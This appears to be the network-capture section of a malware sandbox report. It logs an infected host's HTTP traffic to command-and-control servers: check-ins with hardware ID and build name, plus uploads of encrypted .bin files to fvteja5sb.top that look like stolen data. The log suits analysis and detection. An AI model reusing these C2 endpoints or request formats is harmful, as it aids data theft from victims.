47 44 47 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="hwid"6D30DFFD418E3984212470------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="build"mars------DAEBKKKEHDHDGDGCFBKJ--
Nov 10, 2024 19:45:56.981901884 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50059	185.215.113.43	80	4076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:57.160105944 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 10, 2024 19:45:58.065861940 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:45:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50061	185.215.113.43	80	4076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:46:00.057717085 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 10, 2024 19:46:00.959127903 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:46:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	50063	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:46:05.481493950 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 10, 2024 19:46:06.348656893 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:46:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 10, 2024 19:46:06.497123003 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 33 30 44 46 46 44 34 31 38 45 33 39 38 34 32 31 32 34 37 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 2d 2d 0d 0a Data Ascii: ------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="hwid"6D30DFFD418E3984212470------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="build"mars------KFHJJDHJEGHJKECBGCFH--
Nov 10, 2024 19:46:06.777630091 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:46:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	50064	185.228.235.50	80

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:46:08.245923042 CET	643	OUT	POST /v1/upload.php HTTP/1.1 Host: fvteja5sb.top Accept: / Content-Length: 464 Content-Type: multipart/form-data; boundary=------------------------dZ3MBPwfO3MXXyisIC8Rqe Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 5a 33 4d 42 50 77 66 4f 33 4d 58 58 79 69 73 49 43 38 52 71 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 6f 62 75 68 6f 63 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a c0 62 60 dc 5e 8e 33 88 5c bf 77 d7 ba c9 0a e3 21 90 a2 81 c3 2c 4c ca 2d c3 4c 8c 6d c5 5b 76 76 21 78 0c 1c 06 64 0c e7 d2 7f a2 26 ed 17 60 e1 84 41 6c 06 38 b3 0a 0a e3 6e aa 88 45 eb eb 5c 4a 6c 84 ed 4a 2e f1 65 24 5c eb ed 7a e3 c2 61 24 f0 ef f1 bf 54 07 44 c7 d2 4a cc 29 d5 b0 ce 3b ce 84 fe d4 6a e7 7c fe 4d c2 6a 30 77 ed cd 7e 5f cd b5 1a 95 5b 8e e9 7a 5b b3 10 30 53 d0 fa a7 09 fc 8c f0 5b 4a f2 c4 d0 9c b0 74 2f 32 be f7 4e 79 0c 96 bc 60 d4 57 ed 40 d1 e1 62 46 f4 1b 01 dd 44 de ea 51 93 a7 33 ab a4 63 03 [TRUNCATED] Data Ascii: --------------------------dZ3MBPwfO3MXXyisIC8RqeContent-Disposition: form-data; name="file"; filename="Cobuhocu.bin"Content-Type: application/octet-streamb`^3\w!,L-Lm[vv!xd&`Al8nE\JlJ.e$\za$TDJ);j\|Mj0w~_[z[0S[Jt/2Ny`W@bFDQ3c'C[-[l>\|'s2a0*qv20'-Y4O--------------------------dZ3MBPwfO3MXXyisIC8Rqe--
Nov 10, 2024 19:46:09.206496000 CET	209	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:46:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	50065	185.228.235.50	80

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:46:11.261321068 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvteja5sb.top Accept: / Content-Length: 91506 Content-Type: multipart/form-data; boundary=------------------------c5yjLrD4oD6ODk8Qo2gQ3Y Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 35 79 6a 4c 72 44 34 6f 44 36 4f 44 6b 38 51 6f 32 67 51 33 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 69 71 61 78 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 72 a8 b7 98 2f ef ae d0 35 be 81 fc 58 b9 a1 13 d0 f2 b6 d6 d0 ff fb 33 5a c7 5c e4 f3 99 8b f3 d5 71 0b c3 c3 ad da 91 45 67 63 d4 1d b1 02 a4 cf e3 6f fb a5 8e c4 84 a3 8d 27 d7 3c d4 29 13 d8 80 d9 c5 77 3e 9f b6 a2 b1 48 d1 b0 0f cd 2b f6 3c 6b ed 60 c8 e9 e3 da e8 57 1b 0a 81 05 50 5a f4 09 a2 bc 6d 43 7c b7 73 b3 87 8b a1 72 fa 41 04 81 87 a8 d8 69 5e b1 33 13 db aa c6 f5 6c 15 4e 52 3e 88 25 b4 83 5b 79 05 11 b1 f5 42 dd da 68 6e 98 b8 ba 5c 18 3c 33 49 d3 6c 31 d5 f0 c5 0a 9c 72 16 38 1c f1 3a 78 bd 22 db 6a 66 c4 97 57 [TRUNCATED] Data Ascii: --------------------------c5yjLrD4oD6ODk8Qo2gQ3YContent-Disposition: form-data; name="file"; filename="Kiqaxo.bin"Content-Type: application/octet-streamr/5X3Z\qEgco'<)w>H+<k`WPZmC\|srAi^3lNR>%[yBhn\<3Il1r8:x"jfW2x\k0- Fa`0uJT.}Md1&J6a)c5{}4\U$ubDd\Nr{Hi$n fH5Mj#I$:z\U&0@H&_r}KbEBu7'"8vhm#`BF>X$g1C"-kdnjS>BsM&,SJ<\_F'DM9QuumLl6<iQu-/qnWL+EaQhZs'\X/"SXZ1jTT%a/%%[.g4]OS4rUeUN}"p/hu4G.]xmmg,i;."1J.K\|Q`,75/-,2L)#-jV,(*z@\|Z-J,i/pMriniL=H`d6P [TRUNCATED]
Nov 10, 2024 19:46:11.266674995 CET	14832	OUT	Data Raw: 5b f6 50 8c b8 18 08 7d ac ae 07 df d7 86 24 f5 4e e0 85 8b 3a 8d 05 94 3c 6a f8 a8 c5 2c a3 82 64 ac 32 d7 09 c2 82 f9 ba 11 97 44 4c 32 f0 02 2c 15 bf 49 ac 42 bc fd fa 19 38 b4 20 65 49 fe ba 43 5f d8 e8 c2 b5 d6 62 cb 07 f8 82 70 cb e7 31 12 Data Ascii: [P}$N:<j,d2DL2,IB8 eIC_bp1^_i[wbq[^5O@}L,^qN~2\5 <0qd?J}XoZH#4AuJ#T]K1_W&PGdR4 ;ib<OS23x2Jx
Nov 10, 2024 19:46:11.266740084 CET	2472	OUT	Data Raw: c1 05 77 07 5f 67 ef f0 b0 2d e3 44 ad 6f 24 0a 10 09 2c 8b 49 9d 49 53 58 d5 ff ab b1 91 03 3c 7b 51 72 eb 81 87 16 e5 2d 35 1e a9 79 aa ce 1d 41 05 e8 a9 b6 40 99 b9 c9 95 cb 7c 71 7a ab 5c a2 6f 5b d9 7a 3c ab e2 36 3a 73 bf 18 80 0c 44 ca c0 Data Ascii: w_g-Do$,IISX<{Qr-5yA@\|qz\o[z<6:sD>K`KQ6)/!0nFXZ4f!uYiR =bWZsV)Au\|U"P+(ReB 3QEYG?8aD
Nov 10, 2024 19:46:11.266762018 CET	2472	OUT	Data Raw: df 20 cf 33 b7 46 3b 7f ae e6 c0 93 88 d3 42 ce 24 b0 61 71 70 25 7b e6 0b a9 cb 2a 2e 41 e1 3d 85 a2 d1 a6 2d 4d 5f 55 a7 59 d7 fe df f2 bf b7 a9 53 bf b8 83 47 a4 a0 b3 d9 11 c1 7f e0 46 fb 35 b8 91 d0 17 60 91 d8 48 14 51 63 4e 24 8a c1 be b3 Data Ascii: 3F;B$aqp%{*.A=-M_UYSGF5`HQcN$-+..%4M0`~AzIfM'#17`aE>94P-LWU"h/sAweOJ /%C3djDI![U~Dql<8
Nov 10, 2024 19:46:11.266781092 CET	2472	OUT	Data Raw: 9f bc 34 9b 1b 5e 34 35 31 0b 69 54 cc cd 33 c7 e8 c9 62 0b 9a 74 ed bc 57 99 c4 d9 66 65 d6 d0 a9 4e 11 62 e7 7d 30 77 87 91 85 52 bf 18 22 6b ed c7 89 25 1d ac 94 6d bc 5b 3c 4a 62 79 0d c8 87 e3 0b 5e 05 13 5c 38 63 1d 2b aa f1 07 92 d6 a0 72 Data Ascii: 4^451iT3btWfeNb}0wR"k%m[<Jby^\8c+rU}Lh]KmcKI)f_r2(1K=rl4_:a#rWoM9XV2$9=N:fpet2@5uc60eD g!
Nov 10, 2024 19:46:11.271009922 CET	2472	OUT	Data Raw: 96 57 cc d6 d5 cf 46 e9 21 b2 aa e7 f4 45 2a 13 ff 06 8b 55 c8 5a 8b ae 59 b3 67 49 f2 d1 75 96 53 6d 78 8f f9 f2 21 5b b3 f2 64 f7 7f 0b b0 d8 85 da ff 5a ff d9 7b 71 a6 79 36 1d 33 62 56 bf 64 7c 29 56 ab ff 1a 45 ef 59 61 08 e3 c5 06 05 63 73 Data Ascii: WF!EUZYgIuSmx![dZ{qy63bVd\|)VEYacsb6 D7C.FA7Gm~GhM lA!xwxB(IwzmxM3p_t$r/7$JpT:JO3U>_V_RUu9.^_.yxw
Nov 10, 2024 19:46:11.271609068 CET	2472	OUT	Data Raw: 27 f4 82 7e 84 a0 ca 3d 4d e3 16 86 1f c0 e4 3f 70 ce f1 c3 23 96 8e 0b ae 1a bb a7 57 8a d3 47 4c 82 a0 0a 61 9f 7c c3 cc 04 ac 2a a5 47 42 b6 c5 58 8e df d1 86 81 de a4 0a 5c c0 d2 20 26 0c 42 95 53 ec 6c da 2e 24 3c 60 c7 39 3d c4 08 7b f9 42 Data Ascii: '~=M?p#WGLa\|*GBX\ &BSl.$<`9={BwTW!'\|G'Jkh/J=[o'M)7KDx"Zf3[ZPFMFke2;;N!sPiU\-oX&m:5(#jX&#a
Nov 10, 2024 19:46:11.271631002 CET	2472	OUT	Data Raw: 51 50 d9 b1 fb e1 8b 89 c0 0f 36 63 fe 8b d4 19 af af 4f 0f d6 a8 3c 1a 9a 3d d7 d1 dc 65 2f a6 d5 f6 8c c6 32 83 fc e9 a5 1c 77 12 c2 c3 17 2b a6 19 c5 5a e0 01 0c 87 72 19 f7 ad 6e ee 79 83 fe 1b 37 ad 0e de 43 8a e4 29 ae 42 52 9d 77 78 3c 68 Data Ascii: QP6cO<=e/2w+Zrny7C)BRwx<hlFk<{T#" cUvruW/5meRyECm=e:*E5CyS0iAE. +6(stql(1lO}NtTp'/_9q<JlbA
Nov 10, 2024 19:46:11.271671057 CET	4944	OUT	Data Raw: da 80 f0 20 01 49 cf 81 57 a1 e2 16 fa 09 8e bd c2 d5 fd 24 ee 43 a7 4e ff 71 e9 e2 6e 64 f9 b8 f1 55 d1 92 d6 de 67 77 c3 02 62 a9 6d f5 8a 7c 15 e6 96 55 00 1e 02 85 45 05 c9 45 5a 00 fa 7d 44 87 53 5e 4c fa 51 ac 90 9a de 96 e1 fa 34 4b e9 d9 Data Ascii: IW$CNqndUgwbm\|UEEZ}DS^LQ4K2sd0}Q$WwyQ_v&rhmpb,=d!Lx\|- 0.4p$;`FyE$; 0#sV~!4Kgqi9AG8{;}
Nov 10, 2024 19:46:11.271713018 CET	4944	OUT	Data Raw: 1b 53 59 ab f5 0d 7c bb af 42 fb 49 a4 97 e9 de d3 8e 8c 7a 3f 58 5c 8c 8e 36 a8 25 81 b0 5f 12 1b 6f ec 7e 05 9e c0 33 d3 15 18 2b 8c 6a 74 df f8 f8 65 26 a4 83 1f 52 fd 7d 18 9c 92 c1 f9 cc 62 12 bf ac 0d e3 15 5c 11 43 67 2b 16 f1 0e 07 58 86 Data Ascii: SY\|BIz?X\6%_o~3+jte&R}b\Cg+X.89BO(4uz8ev:~3~kYvltI3&UjU89'JrvhCAP>-"S\|!P>66:\|!Yl8h6xo
Nov 10, 2024 19:46:11.313637018 CET	34608	OUT	Data Raw: fd 97 ed 00 48 ee 46 db b9 d1 3b ff a2 65 bb 89 86 27 a4 1d 42 8a af f5 a5 13 a3 96 aa b3 b3 34 61 dd 5d 30 aa 20 2e b2 2f b7 f3 8f 8b ca 73 a1 d2 fa 57 ae 27 1c 66 a1 ca 3c 7a d5 e8 7b 36 0a 84 df 0f 86 fb 97 62 c3 5c 95 46 c3 89 cb 17 79 87 42 Data Ascii: HF;e'B4a]0 ./sW'f<z{6b\FyBd)1wQqND\|FCU="x\Q\|JFC+~S4\|jgi{Wnu_5>N}D+ZX}OQ3[8]K:%
Nov 10, 2024 19:46:12.425014019 CET	209	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:46:12 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	50076	185.228.235.50	80

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:46:19.642916918 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvteja5sb.top Accept: / Content-Length: 25630 Content-Type: multipart/form-data; boundary=------------------------EhHvuSHLvN5Aov1iH7WRMl Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 45 68 48 76 75 53 48 4c 76 4e 35 41 6f 76 31 69 48 37 57 52 4d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 65 72 75 79 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a c9 34 4f cb cd c6 91 f2 78 40 76 f1 76 93 3e 44 64 c3 3e 55 11 40 a1 b7 61 dc e6 32 10 bb f2 cc f4 3e 06 bd ad 16 22 b2 37 26 18 c7 02 e9 f7 aa 0e e6 73 e2 6a 74 4d aa 3b 95 88 a8 d5 d8 b6 08 74 3b e9 98 b6 1b 3b 10 71 da d5 2d f7 22 0e 76 44 2c 95 ad f3 54 07 3c 19 77 bc 53 3b 9d 72 44 4c 9e fe cd 62 61 3c 68 2e cf c0 03 ba 95 46 46 b6 6c ce 78 e3 54 38 de 7e 68 0e c9 38 e8 d6 54 f3 3b 5b 40 a6 f0 10 28 eb 48 9e cf 3e 9f b5 ba 4d 67 cf c8 c6 07 b2 ef a7 ee db c3 e1 bb cc ca 86 73 f8 90 e1 22 36 4d 4a 82 91 95 dd 62 c0 3d 09 f0 [TRUNCATED] Data Ascii: --------------------------EhHvuSHLvN5Aov1iH7WRMlContent-Disposition: form-data; name="file"; filename="Neruyo.bin"Content-Type: application/octet-stream4Ox@vv>Dd>U@a2>"7&sjtM;t;;q-"vD,T<wS;rDLba<h.FFlxT8~h8T;[@(H>Mgs"6MJb=pPccH59iC~W1y\|(HfZ2C}"#%1"qZPkOvvT5w$gO:J4p>k3ZexdUi*EGeoE7(/[AR<YF/(2\|N6Wr[RV20t'Z8<XuchcOUyS{BLK`t-">Tub27~a\|5s$x$c?mM7q{<Ao;A"x;+n70D8mtBb&L#5kMUH9zoy&h "`:D6cva/I\|r 4>n;AxH3{MSd0l)m43r3Kd!A0c3nX<w2uf& [B^8>{7wzM7'3`Y451o\245Q4 g$%um)b>psE/>GD [TRUNCATED]
Nov 10, 2024 19:46:19.647896051 CET	4944	OUT	Data Raw: 35 01 fd 7a d3 55 6d f3 e7 ea 2b 3d 2d 09 5b c2 e8 d8 1f 8e 52 e2 1e f0 f4 a2 10 fe a9 19 4e ee 91 c2 6c 68 b6 c9 5b cd 60 f1 e6 a3 c5 95 d8 d6 16 8d 8f 4f b3 13 6b a6 1b 46 52 c9 23 95 ad 47 57 14 be ac 32 58 0c 1a 56 a0 13 77 2f 7a f6 ef cd e2 Data Ascii: 5zUm+=-[RNlh[`OkFR#GW2XVw/z)pyC$Kw@ D)eCMI\Tt0o#v&drL ?IZ3xg\5BI=FeHpRR#2/Y,d%`RB}
Nov 10, 2024 19:46:19.647934914 CET	7416	OUT	Data Raw: 2b ec 62 0a 15 c1 2d 2f 47 3c 8d 86 65 10 fe 5d 5b 2b 8c 46 88 92 ca d1 79 a1 1d 19 2b 2d d9 bd 87 e8 4a f2 29 f7 6c ab fa a1 8c 9b 97 04 29 ac 53 6d a8 50 2e 65 79 fa 2b 52 51 9f ee 66 2b 7f 4b 25 0d 67 6f 10 d6 6f c1 77 e9 6e 49 06 ad 06 b9 2b Data Ascii: +b-/G<e][+Fy+-J)l)SmP.ey+RQf+K%goownI+&559":oUU{D\U0\|&v,qLA]$phE5n.DSq-?h5PR+tyF"?y+I&%Fk:3^
Nov 10, 2024 19:46:19.648005009 CET	1091	OUT	Data Raw: fb 14 c9 b4 8c 73 4b 66 a1 9b d6 76 1a b7 e6 36 ac c5 4c ed 1b 75 1e 87 94 f1 98 41 ac d0 0e 53 6f 12 41 8d 80 4a 26 fb 11 30 e3 1b 31 60 05 97 87 da 69 1a e7 2a 79 c7 a0 ff 1e 4f 28 fa 17 a1 be f2 af b8 07 2e f5 c7 78 d5 55 da 1f 22 f9 55 39 80 Data Ascii: sKfv6LuASoAJ&01`iyO(.xU"U9F,^PJu6E4t> bn)>Tn9FyQ;NM9f3=S_Qz#R3kPaZHhQsB#y<UfWr.b#EXp_FX
Nov 10, 2024 19:46:20.655491114 CET	209	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:46:20 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	50077	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:46:22.876734018 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 10, 2024 19:46:23.731977940 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:46:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 10, 2024 19:46:23.917939901 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBAFIIJKJEGIDGDGIIDH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 33 30 44 46 46 44 34 31 38 45 33 39 38 34 32 31 32 34 37 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 2d 2d 0d 0a Data Ascii: ------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="hwid"6D30DFFD418E3984212470------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="build"mars------FBAFIIJKJEGIDGDGIIDH--
Nov 10, 2024 19:46:24.197563887 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:46:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	142.250.185.100	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:44:07 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-10 18:44:07 UTC	1266	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:44:07 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-bAkejAMEeY0XbF1YaZCiDg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-10 18:44:07 UTC	112	IN	Data Raw: 33 32 62 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 68 69 63 61 67 6f 20 62 75 6c 6c 73 20 76 73 20 61 74 6c 61 6e 74 61 20 68 61 77 6b 73 22 2c 22 73 68 69 62 61 20 69 6e 75 20 63 72 79 70 74 6f 63 75 72 72 65 6e 63 79 22 2c 22 6e 6f 72 74 68 65 72 6e 20 6c 69 67 68 74 73 20 61 75 72 6f 72 61 20 66 6f 72 65 63 61 73 74 22 2c 22 6e 61 Data Ascii: 32b)]}'["",["chicago bulls vs atlanta hawks","shiba inu cryptocurrency","northern lights aurora forecast","na
